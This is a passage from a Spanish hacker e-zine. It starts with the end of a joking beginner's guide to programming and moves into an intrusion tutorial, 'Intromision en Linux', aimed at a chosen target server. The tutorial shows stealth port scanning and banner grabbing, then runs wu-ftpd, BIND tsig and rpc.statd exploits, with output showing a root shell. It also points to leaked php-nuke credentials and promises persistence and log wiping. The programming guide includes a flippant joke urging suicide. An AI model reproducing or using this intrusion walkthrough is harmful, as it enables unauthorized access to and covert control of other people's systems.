poderosa dentro de la informatica. Y bla bla bla, y bla bla... vamos  al  grano.

I-. ¿ Algunas preguntas?...

- ¿ Que es un SOFTWARE ?

El instituto Chileno de Computacion e Informatica, lo  define muy acertadamente 
como: "Los Programas que permiten explotar las capacidades  de los  componentes 
fisicos  del  computador. Es  la   parte logica  e  intelectual de  un  sistema 
computacional sin la cual la maquina  fisica es  inutil". Es a final  de cuenta 
lo que hace funcionar logicamente a un momnton de chips de silicio y electrones
parafernalicos.

- Ahh... ¿ Entonces que es un PROGRAMA ?

Son un variadas instrucciones  escritas en un lenguaje  entendible  para el Pc. 
Es un algoritmo representado de tal forma que el monton de  plastico y  silicio
lo interprete.

- Corresto... ¿ Pero... Que es una INSTRUCCION ?

Mira humbertito, cada instruccion es  proceso  basico  que realiza el monton de
mugre al que llamamos Pc. Son  operaciones simples que estan  pre-definidas  en 
el  tarro  mediante   secuencias  electronicas  logicas. Como  por  el  ejemplo,
calcular, leer, borrar, etc. Te quedo claro???

- Si, si... si...

II-. La "fuente" del programa, o programa "fuente"

Las instrucciones, y por ende los  programas, tienen que  estar en  un lenguaje
el cual el tarro las pueda  interpretar, este se  denomina  LENGUAJE MAQUINA, y 
no siempre es el mismo, ya que varia  dependiendo de la  tecnologia usada. Este 
lenguaje es muy engorroso, dificil de recordar y lento  de desarrollar, ya  que 
hay que estructurar todo mediante las instrucciones directas  al Pc. Es por eso
que en  un afan de simplificar la vida de millones de humanos, se  comenzaron a 
crear    ciertas   automatizaciones  de  algunos  procesos  recurrentes  y   se 
estandarizaron otros para lograr  una  convencion. Esta  convencion  permitiria 
desarrollar el algoritmo en un lenguaje mas  intuitivo  y nativo,  con  lo  que 
simplificaria el proceso. A estas  convenciones se le  llamaron  LENGUAJES, los 
cuales mediante un software se convierten en instrucciones  entendibles  por el 
tarro. Al escrito desarrollado en  otro lenguaje que no  sea el de  maquina, se
le denomina "FUENTE DE PROGRAMA", ya  que  no  es  el programa en si, sino  una
representacion simbolica de el.


III-. Los lenguajes de Programacion

Existen variados niveles de lenguajes.
1) Lenguaje de Maquina
2) Lenguajes Orientados a la maquina, o lenguajes de Bajo nivel
3) Lenguajes de Alto nivel
4) Lenguajes de MUY alto nivel

Parece realmente comico esta calsificacion, pero  asi es y es  bastante logica. 

1) El Lenguaje de  Maquina, como  ya  dije, es el  lenguaje del tarro, son  las 
instrucciones que  entienden la maquina  y  se  representan con un conjunto  de 
digitos binarios, o hexadecimales .

2) Los lenguajes orientados a  la  maquina, son  una  sola  representacion  mas
natural de las  instrucciones  del  lenguaje Maquina, donde   cada  instruccion 
"maquinal" es representado  por  alguna  palabra  o abreviatura  de un lenguaje
natural (como  el ingles), como  por  ejemplo: ADD, DEL, etc. A  este  conjunto 
pertenecen los famosos ENSAMBLADORES (Assembler, pa los gringos al peo).

3) Los lenguajes de Alto nivel, son  orientados al  programador, es decir se le 
simplifica la pega al humano. En  estos  ya se  simplifican los  procesos, y se 
resumen mediante comandos simples, muchas  instrucciones  del de maquina. Estos 
ya   se  parecen  mas a  un  idioma  natural, haciendo  sentencias  logicamente 
dispuestas  para lograr  un  objetivo. Entre  estos  encontramos Basic, Pascal,
C, Fortran, Cobol, etc. 

4) Los lenguajes de MUY alto nivel, son  los orientados al objeto y al grafico,
es decir ya no solo son sentencias de lenguaje natural, sino  que  graficamente 
se representan  procesos y conjunto  de  instrucciones. Ademas cada  Objeto  es
programado  individualmente, y  estos  interactuan en  la   plataforma  que  se 
utilizan. Entre estos podemos encontrar toda la famila VISUAL (basic,  fox pro,
etc) e  inclusive  el  actualmente  popular  flash  (aunque  realmente  es  una 
aplicacion pero filo).

Cabe destacar que entre mas alto el nivel del lenguaje, mas rapido e  intuitivo
sera el desarollo de la programacion, pero a la vez sera mas limitada y guiada.

* Los Compiladores y Ensambladores

Estos programas son los que convierten  los "CODIGOS DE FUENTE" en lenguaje  de 
maquina, los ensambladores para  los de bajo nivel, los  compiladores  para los 
de alto nivel, y funcionan guardando el lenguaje maquina en un PROGRAMA OBJETO,
ya que es una estructura  completa de instrucciones. Existen otros  que son los
INTERPRETADORES, los  cuales no guardan el programa  como  objeto, sino que  va 
ejecutando instruccion por  instruccion  directamente desde el programa Fuente.

IV-. Conceptos de Programacion

En este punto abordare los conceptos claves y basicos para un programador.

1) Las Variables y Constantes

Estos conceptos  corresponde  escencialmente a la  matematica y no  solo  a  la 
informatica, y muy intuitivamente  todos  entendemos esto  pero  vale  la  pena 
aclarar dudas.

a) Las variables son  valores, que  son  suseptibles a  cambios, es  decir  son
valores que varian y de ahi que nace su nombre. Tambien puede ser  representado
mas intuitivamente como una "casilla" o "caja" la cual contiene algun  Valor el
cual puede ser reemplazado por otro sin ningun problema, y sigue siendo la mima
caja.

Ej: La formula del  Area  de  un  cuadrado: Area = L*L, donde  L  es  el  Lado.
L= corresponde a una variable, ya que el area de un cuadrado  de Lado = 10,  es
distinto al de otro de Lado = 5, por lo tanto es  un valor que varia  segun las 
circunstancias.

b) Las constantes  no  son  mas  que Valores  que NO varian y que no pueden ser 
modificadas.

Ej:
X = X + 5

En este caso X es una variable y el 5 es una Constante, en esta simple operacion
se le dice que reemplace la variable X, por X + 5.

c) Declarar una Variable.

Si dijimos antes que intuitivamente podriamos decir que una variable es como una 
"caja", habria que definir que tipo de contenido puede contener y  cuanto podria 
contener. Habria que decir si va a contener Numeros, Letras o Simbolos, y ademas 
cuantos de aquellos puede contener.

Ejemplos: 

X va a contener 8 Letras 
X va a contener 6 digitos numericos enteros
X va a contener 16 digitos numericos reales
X va a contener 4 caracteres de cualquier tipo

d) El valor inicial

Como una variable es un Valor que varia, una variable no puede  estar  vacia, por 
lo tanto se tiene que establecer un valor inicial que se define antes de trabajar
con ella

2) Lectura y Escritura

Para capturar datos y representarlos hay que tener claros los conceptos de READ 
y WRITE, que son la forma de interactuar al usuario.

El WRITE  es  la forma  representar al usuario o  a un sistema  externo  alguna 
expresion o informacion. 

El READ es  la  forma de  obtener  datos externos al programa tanto del usuario
como de un sistema externo, en una variable.

EJ:
'Nombre' es una variable que contiene 12 letras 

WRITE en pantalla 'ingrese su nombre'
READ desde la pantalla (Nombre)
WRITE en pantalla 'Su nombre es (Nombre)'


En este caso  el  programa  primero Imprime  en  pantalla  la expresion 'ingrese
su nombre', luego esperara a que el usuario  escriba su nombre y  lo guardara en 
la variable, por ultimo escribe la  expresion 'Su nombre es' junto con  el valor
de la variable.

3) El orden de un programa

Ya que las instrucciones de un programa se ejecutan en el orden que se escriben,
para que un programa pueda ser interpretado por el compilador y por  ende por el 
PC, es fundamental que se siga una secuencia, donde  hay cierto  orden segun  el 
lenguaje utilizado y otro orden logico que explicare aqui.

Podriamos extender ciertos MANDAMIENTOS logicos:

1. No utilizaras una variable sin antes de definirla
2. Las instrucciones son encadenadas, una tras otra
3. No olvidaras cerrar un proceso 
4. Las funciones aritmeticas tienen que tener una salida
5. Repito, NO utilizaras una variable sin antes definirla
6. No llamaras a un procedimiento sin posicionarlo antes
7. Si es necesario llamar alguna libreria, hazlo antes de todo
8. No llamaras a un archivo sin antes leerlo
9. Conoceras y seguiras el orden logico del lenguaje en particular
10. Repito y Repito, NUNCA utilizaras una variable din antes definirla

4) Operadores Logicos

Esto es simple logica pero igual le vamos a echar un vistazo:

Cuando uno pondera algo, simpre tienen que  existir 2  elementos  y un critero de
comparacion. En informatica esto se llama CONDICION y se compone de 2 expreciones
aritmeticas y un operador relacional entre ellas.

Ej: a^2 > 2ab.

Ahora el resultado de esta  exprecion  logica (condicion) es  verdadero  o falso,
ninguna  otra. ¿Que  pasa  cuando   nesesitamos hacer   mas de una  comparacion?,
¿ cuando  nesesitamos  que  dos  sentencias  se  complementen, se  censuren o se 
niegen? Es ahi donde utilizamos los operadores logicos.

Los operadores logicos simples son : AND, OR, NOT, XOR y XAND

Si elejimos dos sentencias y hacemos una tabla encontraremos lo siguiente.

- ver esquema

EXPLICACION INDIVIDUAL:
a) AND:

Este  operador  significa "Y", es decir para  que la  sentencia "A1 AND A2"  sea
verdadera, es  necesario que ambas SENTENCIAS SEA VERDADERA.

Ejemplo logico:
"Nesesito Agua Y Comida para seguir mi travesia"

* El individuo nesesita Agua AND Comida <--- esas son las dos sentencias

¿Puede continuar su travesia?
* si no le traen ninguna de las dos cosas no podra seguir su travesia (no)
* si le traen tan solo comida, le faltara agua y por lo tanto no podra continuar
(no)
* si le traen tan solo agua, le faltara comida y por lo tanto no podra continuar
(no)
* si le traen agua y comida entonces va a poder continuar su travesia (si)

b) OR:

Este operador significa "O", es decir para que la sentencia "A1 OR A2" sea 
verdadera, es necesario que AL MENOS UNA DE LAS SENTENCIAS SEA VERDADERA.

Ejemplo logico:
"Nesesito Soga O Liana para seguir mi travesia"

* El individuo nesesita Soga OR Liana <--- esas son las dos sentencias 

¿Puede continuar su travesia?
* si no le traen ninguna de las dos cosas no podra seguir su travesia    (no)
* si le traen tan solo Soga, sera suficiente para continuar su travesia  (si)
* si le traen tan solo Liana, sera suficiente para continuar su travesia (si)
* si le traen soga y liana, podra continuar con su magica travesia       (si)

c) XOR (or Exclusivo)

Este operador significa "UNO U EL OTRO PERO NO AMBOS JUNTOS", es  decir para que
 la sentencia "A1 XOR A2" sea verdadera, es necesario que UNA Y SOLO  UNA DE LAS
 SENTENCIAS SEA VERDADERA.

Ejemplo logico: "Nesesito un Gato o un Perro, pero UNO U  EL OTRO  PERO NO AMBOS 
JUNTOS por que sino se pelean en la travesia"

* El individuo nesesita Perro XOR Gato <--- esas son las dos sentencias

¿Puede continuar su travesia?
* si no le traen ninguna de las dos cosas no podra seguir su travesia       (no)
* si le traen tan solo al Gato, sera suficiente para continuar su travesia  (si)
* si le traen tan solo al Perro, sera suficiente para continuar su travesia (si)
* si le traen el Gato y el Perro, no podra continuar con su magica travesia (no)

d) XAND (and Exclusivo)

Esta si que no se usa... por que es la  negacion del XOR, pero  intelectualmente 
significa esto. "UNO  DE  ELLOS TIENE  QUE  SER  FALSO"... Me da lata  hacer  el
ejemplo, ya  entienden  como funciona... Si  no  es asi, echenle un looking a la 
tabla...

* Hay otros tipos de operadores: relacionales, de asignacion, etc. Pero para mas 
informacion leanse un texto del lenguaje que estan usando.

5) Los procedimientos, funciones y las variables locales

- Los procediemientos son pedazos de programa, que se separan del programa 
principal por 3 principales razones: la primera, la segunda y la tercera.

1) para utilizar variables locales y reducir recursos del sistema
2) para usarlos recurrentemente.
3) para hacer mas estructurado el programa y hacer mas facil la correccion de 
   errores

- Las  variables  locales  son  variables   que  existen tan solo  dentro  de un
procedimiento  por  lo  que  no  se  malutiliza  memoria  en guardar informacion 
inesesaria cuano el procedimiento no esta siendo utilizado.

- Las funciones son operaciones recurrentes  que  se separan  del  programa para
usarlas  recurrentemente  y para  no usar  memoria  extra. La  diferencia de los
procediemientos, es  que  las  funciones  tienen  una  entrada  y  una salida de 
VARIABLES.


Ejemplos: a) Procedimiento: 

---------------
Procedimiento Ejemplo

Escribir en pantalla (relajate)

terminar procedimiento
---------------

b) Variable local:

---------------
Procedimiento Ejemplo

variables
'time' del tipo palabra
terminar variables

hora en "time"
Escribir en pantalla (relajate son recien las "time")

terminar procedimiento
---------------

c) Funcion:

---------------
Funcion hora(gettimeofpc = hora/minuto/segundo)

variables
output del tipo palabra

Output = (hora,:,Minuto,:,segundo)

terminar funcion
---------------

Nota del autor: el siguiente tip, lo hice un dia a las 6 de la ma~ana despues de 
bastante alcohol en la sangre y de diversas sustancias psicotropicas, pero igual
puede serle util a alguien

6)(666) Recomendaciones esotericas.

Relajate, lo peor  que  puedes  hacer  al  programar  es  calentarse. Cuando   no 
encuentres  una  solucion o no  sabes  donde esta el error, anda  a  la cocina  y 
tomate un  baso de coca cola (con malicia si es posible), despues  relajate y lee 
todo el codigo (o  procedimiento)  nuevamente. Si  es  muy  largo haz  ingieneria 
inversa y  no  solo  debuggees sino  que anda  de atra para adelate. Luego si  no 
encuentras la solucion puedes escribir todo de  nuevo, invocar a Dios para que te
ayude. Si no funciona invoca a satanas y por ultimo intenta quemar el disco duro.
Pero nunca te enojes... intenta jugar  a  algo y  darte  una  siesta... Si  estas
presionado por el tiempo y no ves salida alguna... reinicia  tu OS, e intenta ver
el  programa  de un  editor distino. Si  nada de esto  funciona  lo mejor es  que 
intentes otro lenguaje  y si no  por  ultimo  suicidate... siempre es  una  buena
salida. jejeje. No, Bien  en serio   NUNCA pero NUNCA te  calenti  cuando  no  te 
resulta algo... las cosas toman su  tiempo y  dedicacion y bla bla bla bla bla...
AUUUHHHGGG me dio sue~o que mi yo  sobrio continue este texto... ZZZZZzzzzzzZZZz.

Fin de la borrachera

V-. Como empezar... 

Lo mejor para empezar es comenzar con  lenguajes intuitivos. Si  sabes  algo  de 
ingles se te hara mucho mas simple. Te recomiendo que NO  empiezes con basic, ya
que es un gran error dentro del aprendizaje ya que aunque su  nombre no lo dice, 
es un  lenguaje extremadamente  desordenado y por lo tanto te  costara un  mundo
adaptarte  a  lenguajes  estrictamente  formales. Te  recomiendo  que despues de 
saber sobre algoritmos y pseudolenguaje pruebes cualquier version del PASCAL, ya
que es sumamente jerarqueizado y reiterativo, tal vez  sea un poco tedioso  pero 
vale la pena. Luego ANTES de pasar a C o C++ lee  algo de  nodos, ya  que es una
gran herramienta y facilita las cosas. AHORA... SI estas apurado por sacar algun 
probecho economico de esto, prueba cualquier  software de la familia VISUAL y si 
eres comerciante podras hasta pagar tus estudios!!!

VI-. Ya CHAO!!!

Bueno  mandenme  mails   si  alguien  quiere   que  escriba  de   informatica  o
teleinformatica... Algun tema en particular (no HACKING por que a veces meto las 
patas) me seria  de gran  ayuda  si me  recomiendan temas  para  escribir. Adios
malditos computines... Lean endemoniados genios... Y no teman  de su  sabiduria,
USE THE FORCE LUKE...

Pd: el que se eche dicom... es mi idolo...


[=========================([ Electron Security Team ])===========================]




[====([ EleKtr0 ])=========================================================EST-4=]
[====([ Intromision en Linux ])==============================================#07=]
[===========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Intromision en Linux por EleKtr0
================================

-[ Indice de Contenidos ]-

 01 - Introduccion
 02 - Requerimientos
 03 - Primeros Pasos
      3.1 - Obteniendo Informacion
 04 - Metodos de Entrada
      4.1 - Explotando FTP
      4.2 - Explotando SMTP
      4.3 - Explotando NAMED
      4.4 - Explotando HTTPD
      4.5 - Explotando POP3
      4.6 - Explotando RPC
 05 - Casos Extremos
      5.1 - Explotando IMAPD
 06 - Tecnicas Varias
      6.1 - Obteniendo listas de ip´s
      6.2 - Sniffeando el Servidor
      6.3 - Manteniendonos en el sistema
      6.3 - Borradando Nuestras Huellas
 07 - Conclusion



01 - Introduccion
-=-=-=-=-=-=-=-=-=-

 Seguramente habras escuchado o leido de que Linux es mucho mas entretenido  a  la
hora del happy hacking, por la amplia gama de distribuciones, por mantener su code
publicamente, por la cantidad en numeros de Servidores Linux`s que  hay... que  se 
yo... o por alguna otra razon, la verdad  esque  cualquier  OS  es  entretenido de 
hackear (ojo no solo hablo de entrar  al  sistema de forma ilegal o no autorizada,
hablo del hack en todas sus formas) todo  OS  es  digno  de un amplio estudio y de
profunda investigacion, ya sea Unix, Irix, OS/2, Win y por supuesto Linux. 

 Es efectivo que una de las formas mas entretenidas de hack y una de las que mayor
actividad concentra es la de entrar en forma no advertida a  sistemas  ajenos, con
sus ventajas y sus riesgos... ya  sabemos  de  el  da~o a  la  privacidad  que  se
produce en una intromision y este es penado actualmente  por  la  Ley  Informatica
Chilena (Ley Nº 19.223).

 La verdad esque si hablamos de seguridad Linux tiene mucho que decir, es bastante
mas seguro que otras alternativas como OS, ya sea, como  workstation  o  bien como
servidor, la caracteristica de que su codigo sea abierto  le  da  la posibilidad a
miles de hackers y programadores  de  todo  el  mundo  estudiar  profundamente  su 
"esqueleto" en busca de bug`s  y  solucionarlos (explotarlos?) rapidamente... Cabe
tambien mencionar que un buen OS  si  no esta acampa~ado de un buen admin entonces
de nada valdra su "aparente seguridad", me  atrevo  a decir que la seguridad de un
server es directamente proporcional al nivel de  conocimientos que tiene el admin,
independiente del OS del que estemos hablando...

 Este  articulo no es presisamente una introduccion a Linux pero tenia que nombrar
su  seguridad  por  que  "kebrarla" es presisamente lo que haremos... La intrusion 
en  Linux  no  es  una  cosa  de  ni~os, aunque  tampoco  se  requieren  exautivos
conocimientos extratecnicos ni ser un guru  de  la  filosofia  Unix, lo  ideal  es
conocer el sistema lo suficiente, su forma  de  trabajo, sus servicios y demonios,
en fin... saber a quien tenemos en frente.

 En este articulo dare algunas pautas basicas para penetrar una maquina  corriendo
con Linux, al mismo tiempo explicare formas de mantenernos ocultos en  el  sistema
sin que seamos detectados, de esta situacion  sacaremos  provecho  para  conseguir
algo mas de informacion  que  nos  sera  de  utilidad mas adelante, ya  terminando
veremos como no dejar  registros de nuestra entrada y borraremos nuestras huellas!
Manos a la Obra!



2 - Requierimientos
-=-=-=-=-=-=-=-=-=-=-

* Tener instalado obviamente Linux
* Nmap (www.insecure.org/nmap)
* Nessus (www.nessus.org)
* Queso (http://packetstormsecurity.org/UNIX/scanners/queso-980922.tar.gz)
* Exploit`s (incluidos)
* Vull Scan (incluidos)
* Sniffer`s (incluidos)
* Zapper`s (incluidos)

[ Notas: Todos los programas, exploits, sniffer´s, zapper´s, etc, que ]
[ que son usados en este articulo han sido adjuntados a la e-zine.    ]
[ Los comandos en linux seran precedidos por un # simulando una shell ]
[ Las direcciones ip`s seran del tipo 192.168.1.0, para los ejemplos  ]
[ Asumo que el lector sabe algo de linux, conceptos, comandos, etc... ]



03 - Primeros Pasos
-=-=-=-=-=-=-=-=-=-=-

Bien escojamos un host objetivo cualquiera: servidor.cl

No sabemos a estas alturas que OS esta corriendo ni  que  puertos  abiertos tiene,
asique lo ideal  en  esta  etapa  de  recogida  de  informacion  es  un  scan  con
reconocimiento  de  OS, hay  miles  de  tools  que hacen esto como sabemos siempre
destacan algunas: nessus, nmap, queso, etc.

Aunque telnet no es una tool  propiamente  tal  sino  mas  bien  un  cliente  para
conexiones remotas, bien nos puede ser usado pasa saber el OS, ¿ como ?... siempre
cabe la posibilidad de que al telnetear nos aparesca ls OS  y otros  datos como su
version, kernel, etc...



3.1 - Obteniendo Informacion
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# nslookup servidor.cl
Server:		192.168.1.1
Address:	192.168.1.1#53

Name:	servidor.cl
Address: 192.168.1.100

# telnet servidor.cl
Trying 192.168.1.100...
Connected to servidor.cl (192.168.1.100).
Escape character is '^]'.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
login:

Ok! ya  tenemos  informacion  basica, OS, Distro, Version, Kernel. No  siempre  el
telnet estara abierto esperando por nuestra sutil conexion, ya sea por que estamos
tras la presencia de un firewall que este filtrando  las  conexiones al telnet del
servidor o  por  que  simplemente  no estan corriendo este service, asique siempre
sera una  buena alternativa usar otros metodos como mencione anteriormente, queso,
nmap, incluso Netcraft.

Una vez determinado el OS pasamos a  scanear  sus puertos para saber que servicios
se   estan   corriendo  en  la  maquina. Para   este   paso   suguiero  usar  nmap 
(www.insecure.org/nmap) que  a  mi  entender es el mejor escaneador de puertos que
hay hasta el momento...

# nmap -sS -sR -P0 -O servidor.cl

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on  (192.168.1.100):
(The 1531 ports scanned but not shown below are in state: closed)
Port       State       Service (RPC)
21/tcp     open        ftp                     
22/tcp     open        ssh                     
23/tcp     open        telnet                  
25/tcp     open        smtp                    
53/tcp     open        domain                  
80/tcp     open        http                    
110/tcp    open        pop-3                   
111/tcp    open        sunrpc (rpcbind V2)
143/tcp    open        imap2

Remote operating system guess: Linux 2.1.122 - 2.2.16
Uptime 2.465 days (since Mon Oct  1 08:34:50 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 68 seconds


Para aquellos que no estan acostumbrados a usar nmap y no saben por que use esos
argumentos para hacer el scan, man nmap xD

Pero igual les aclaro que son argumentos opcionales, de todas maneras recomendables
ya que son basicamente para hacer un scan "sigiloso", algunos  servidores  detectan
portscans y con estas opciones evitamos ser detectados o al menos lo intentamos....


04 - Metodos de Entrada
-=-=-=-=-=-=-=-=-=-=-=-=-

El resultado del scan anterior es muy comun verlo en servidores linux especialmente
si hablamos de rh.

Lo siguiente sera sacar informacion de cada servicio en particular, la idea es que
con el minimo de datos seamos capaces  de  elavorar  un  ataque, osea  necesitamos
software y version del servicio.

Lo siguiente sera sacarle  a  cada  servicio  disponible el maximo de informacion,
para poder de esta manera  elavorar  un ataque  mas  planificado  al  servidor, lo
haremos en cada servicio e intentaremos explotarlos todos.


4.1 - Explotando FTP
-=-=-=-=-=-=-=-=-=-=-

Veamos la lista, tenemos al puerto 21 correspondiente a FTP

# ncftp servidor.cl
NcFTP 3.0.2 (October 19, 2000) by Mike Gleason (
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ).
Connecting to 192.168.1.100...                                                                                                 
servidor.cl FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
Logging in...                                                                                                                  
Guest login ok, access restrictions apply.
Logged in to servidor.cl.
ncftp / > 


Tenemos  como  daemon  del  FTP al software WU-FTPD, muchos son los problemas de
seguridad que  durante  un  buen tiempo ha venido arrastrado este software. Bien
es anonymous y su version la 2.6.0(1), es hora de explotar!...


# ./wuftpd -h
Usage: ./2600 -t  [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target    : host with any wuftpd
user      : anonymous user
dir       : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g        : enables magic string digging
-x        : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr  : this is pointer to shellcode
systypes: 
  0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
* 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
* 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
* 3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
* 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
* 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
* 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
* 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
#

# ./wuftpd -t servidor.cl -s 0
Target: 161.132.148.194 (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS 
230-Next time please use your e-mail address as your password
230-        for example: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
Linux webconection 2.2.14-12 #1 Tue Apr 25 13:04:07 EDT 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)


4.2 - Explotando SMTP
-=-=-=-=-=-=-=-=-=-=-

Sigamos nuestra lista de puertos, cada uno una posible entrada, tenemos a SMTP(25)
el servidor de correo. Para explotar este  servicio  debemos  buscar  exploits  de 
acuerdo al nombre y version del daemon, normalmente sendmail. No creo que requiera
mayores explicaciones. Para obtener la version y nombre nos conectamos.

# telnet servidor.cl 25
Trying 192.168.1.100...
Connected to servidor.cl.
Escape character is '^]'.
220 servidor.cl ESMTP Sendmail 8.11.2/8.8.7; Mon, 22 Oct 2001 19:28:21 -0300



4.3 - Explotando NAMED
-=-=-=-=-=-=-=-=-=-=-=-


Sigue  el  turno  del  servidor  de  nombres (DNS, Named), para un webhosting su
servicio mas importante, para nosotros el servicio mas codiciado a explotar, por
que? shuu mas atentos. Obtengamos un  poco de informacion para iniciar un ataque
contra el DNS de servidor.cl

Necesitamos la(s) direccion(es) del servidor de nombres:

# host -t ns servidor.cl
servidor.cl. name server ns1.servidor.cl.
servidor.cl. name server ns2.servidor.cl.

Ahora necesitamos la version:
# dig @ns1.servidor.cl version.bind chaos txt

; <<>> DiG 9.1.0 <<>> @servidor.cl version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21340
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
VERSION.BIND.		0	CH	TXT	"8.2.2-P5"

;; Query time: 40 msec
;; SERVER: 164.77.200.218#53(servidor.cl)
;; WHEN: Mon Oct 22 19:40:01 2001
;; MSG SIZE  rcvd: 63

Correcto, seria 8.2.2-P5
Compilamos y corremos nuestro exploit favorito para esta version de bind.

# ./tsig 
[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix
[*] fixed by 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  and 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

[*] usage : ./tsig host



Muchos de estos exploit  para  el named provocan buffer`s demasiado grandes que
terminan en la mayoria  de los  casos votando  al  servidor  DNS, tambien  cabe
se~alar que nuestros  privilegios  al  rootear  no  seran los del root, asi que
disponemos de un lapso de tiempo bastante reducido para obtener root localmente
antes de que se den  cuenta que el dns no esta trabajando correctamente, lo que
despertaria mas de una sospecha de intromision.
Otro punto  importante es que no basta con reiniciar el named para levantar  el
servicio solo queda reiniciar la maquina, cuidado!...



4.4 - Explotando HTTPD
-=-=-=-=-=-=-=-=-=-=-=-

Es el turno del  port  80  correspondiente  al  servicio  httpd, en muchos Linux
controlado por Apache. Necesitamos informacion en este caso recomiendo Netcraft,
nos dira si es o no Apache u otro software, nos mostrara los modulos con los que
esta trabajando, la version, etc...

Con esta info buscamos algun exploit de los tantos que hay para httpd de acuerdo
a la version y software, compilamos y lo corremos.

Ahora no se limiten solo a explotar directamente Apache, ya que  el port  80  es
explotable tambien de otras formas, por ejemplo tenemos el  directorio  cgi-bin,
muchos scripts escritos en perl u otro lenguaje tiene graves problemas que dejan
al descubierto al servidor. Para  los  mas  flojos  existen  escanners de cgi`s, 
recomiendo  para  estos  casos  nessus (www.nessus.org)  que  para cgi`s existen 
plugins (http://cgi.nessus.org/plugins/dump.php3?family=CGI%20abuses).

El puerto 80 tambien compromete a estos nuevos sistemas de portales como PHPNUKE,
POST-NUKE, etc ya que se le pueden  pasar  parametros  a  la  url  alterandola de
manera que forzandola nos entregue la informacion que andamos buscando, ejemplos?
tenemos el caso de uno de los ultimos, bug`s descubiertos en php-nuke: 
http://www.hackit.cl/html/images/hacked.txt

Ese es el archivo config.php, nos muestra user y  passwd... ahora  bastaria  con
conectarnos al mysql identificarnos  con  esa  cuenta y a cambiar variables. Les
recomiendo que profundicen en este servicio.


4.5 - Explotando POP3
-=-=-=-=-=-=-=-=-=-=-

Continuamos con nuestra lista de servicios, es el turno  de  pop-3 (Post  Office
Protocol version 3) usado para leer el  correo  remotamente. El procedimiento no
cambia en absoluto, sacamos el maximo  de  informacion del servicio corriendo en
servidor.cl, vemos su version, buscamos bug´s  que  hayan  sido descubierto para
esa version, buscamos la forma de explotar  y  lo  hacemos!. Creo  que  es  algo
demasiado obvio como para estar dando  ejemplo, ademas algo tienen que hacer...


4.6 - Explotando RPC
-=-=-=-=-=-=-=-=-=-=-

A quien le  toca? quien dijo RPC? Los  servicios  RPC (Remote Procedure Call)
para quienes no lo saben estos  servicios  son un conjunto  de funciones  que
permiten a un aplicacion cominicarse con otra maquina (cliente-servidor).

En Linux suele estar instalado NFS que lanza  el daemon RPC  portmap  tambien
conocido como rpcbind. Los mas usuales son: mountd, nfs, status, amd, autofsd.

Informacion? la necesitas? entonces bamos por ella:

# rpcinfo -p servidor.cl
   programa vers proto   puerto
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100021    1   udp   1024  nlockmgr
    100021    3   udp   1024  nlockmgr
    100021    1   tcp   1024  nlockmgr
    100021    3   tcp   1024  nlockmgr
    100024    1   udp    617  status
    100024    1   tcp    619  status

Para  aquellos  fanaticos  de  las  tools, tienen  a  nmap que tambien hace un
reconocimiento de servicios  RPC  en  el  host  escaneado  con  la  opcion -R.

El servicio  portmapper  como les conte anteriormente es uno de los mas usados, 
y por esa misma razon uno de  los mas explotados, no quiere decir que los demas
sean seguros, o que no se  puedan  explotar, es solo que a portmapper se le han
descubierto mas  vulnerabilidades y formas de explotarlas. Veamos como explotar
entonces:

# ./statdx
-h
statdx2 by ron1n <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >
Usage: ./statdx [options] target
Available options:
->	 [default behavior]
-t	attack the server using tcp [udp]
-p	 [query]
-a	
-l	 [1024]
-o	 [600]
-w	 [9]
-s	 [5]
-n	 [1]
-f	attack saved ebp [saved eip]
-c	<"command to execute"> [portbind]
-d	use a hardcoded 
Available types:
0	Redhat Linux 6.2/6.1/6.0


# ./statdx -t servidor.cl -d 0
wiping:  9
buffer:  0xbffff314/1024/999
target:  0xbffff718 --> 0xbffff56c/buffer[600]
method:  return address
command: 
--
clnt_call(): RPC: Timed out
A timeout was expected. Exploitation succeeded?
Owned?!
total 115
